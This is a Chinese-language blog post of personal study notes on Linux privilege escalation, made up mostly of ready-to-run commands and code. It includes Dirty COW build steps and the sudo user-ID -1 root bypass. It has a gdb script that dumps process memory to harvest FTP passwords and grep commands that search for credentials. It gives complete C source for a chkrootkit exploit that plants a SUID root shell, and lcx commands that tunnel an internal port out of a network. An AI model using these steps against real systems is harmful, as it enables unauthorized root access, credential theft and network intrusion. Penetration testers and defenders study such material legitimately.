Published in:2024-02-26 |

linux提权学习笔记

操作系统信息

1
2
3
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal

PATH

如果您对变量内的任何文件夹具有写入权限,您可能能够劫持一些库或二进制文件:**PATH**

1
echo $PATH

环境信息

1
(env || set) 2>/dev/null

内核版本

1
2
3
cat /proc/version
uname -a
searchsploit "Linux Kernel"

编译的漏洞

1
2
3
4
5
github.com/lucyoa/kernel-exploits

github.com/bwbwbwbw/linux-exploit-binaries

github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

可以帮助搜索内核漏洞的工具

1
2
https://github.com/mzet-/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2

CVE-2016-5195(脏牛)

Linux 权限提升 - Linux 内核 <= 3.19.0-73.8

1
2
3
4
5
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo version

1
2
3
searchsploit sudo

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
1
2
3
4
5
6
7
8
9
10
11
12

sudo -V | grep 'Sudo version' 查看是否受影响的版本,低于1.8.29有漏洞
修改配置文件:vim/etc/sudoers 在root(ALL:ALL)ALL添加一行
test ALL=(ALL,!root)ALL
useradd test passwd test
su - test
sudo -u#-1 id -u 或
sudo -u#4294967295 id -u

sudo -u#-1 whoami
sudo -u#-1 sh

检查已安装和未安装的内容、位置

1
2
3
4
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

枚举有用的二进制文件

1
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

检查是否安装了任何编译器

1
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

检查已安装包和服务的版本

1
2
dpkg -l #Debian
rpm -qa #Centos

可以使用openVAS检查机器内安装的过时和易受攻击的软件

查看正在执行的进程并检查是否有任何进程具有****比它应有的更多权限

1
2
3
ps aux
ps -ef
top -n 1

有权访问 FTP 服务的内存

1
2
3
4
5
6
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings 信息过程映射
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #用户和密码

gdb脚本

1
2
3
4
5
6
7
8
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

内核溢出提权

1
2
3
4
5
6
7
8
9
查看内核
uname -r
反弹shell执行命令
上传exp
编译
执行
根据内核版本查找对应漏洞
收集exp
可以从www.exploit-db.com查找漏洞利用

linux-exploit-suggerster

1
2
3
https://github.com/mungurk/linux-exploit-suggester.sh/blob/master/linux-exploit-suggester.sh
chmod 777 x.sh
./x.sh

mysql UDF 提权

1
2
上传库文件
执行库文件创建命令执行函数

利用SUID提权

1
2
寻找系统里可以用的SUID文件来提权
$ find / -perm -u=s -type f 2>/dev/null

利用环境变量劫持高权限程序提权

1
2
3
4
第一步:查找可操作文件
$ find / -perm -u=s -type f 2>/dev/null
第二步:利用file 命令查看文件是否可执行

•执行该文件

•在执行的时候可能会报错,根据报错来查看调用系统命令

利用chkrootkit <0.49版本提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1.如果发现Linux服务器存在chkrootkit并且版本小于0.49
2.上传一个利用脚本到/tmp目录下并编译
#include <unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
保存为update.c
进入到/tmp目录下
gcc -o update update.c
然后等着管理员运行chkrootkit命令检测系统后门
在发现/tmp/update 所有者会变成root
这时候你在进入/tmp运行update
./update

内网端口转发

1
2
3
4
5
6
7
内网主机输入命令
lcx.exe -slave 外网ip 外网端口 内网ip 内网端口
lcx.exe -slave 200.1.1.1 1111 192.168.1.2 3389

外网主机输入命令
lcx.exe -listen 1111 1311

Prev:
Nginx学习
Next: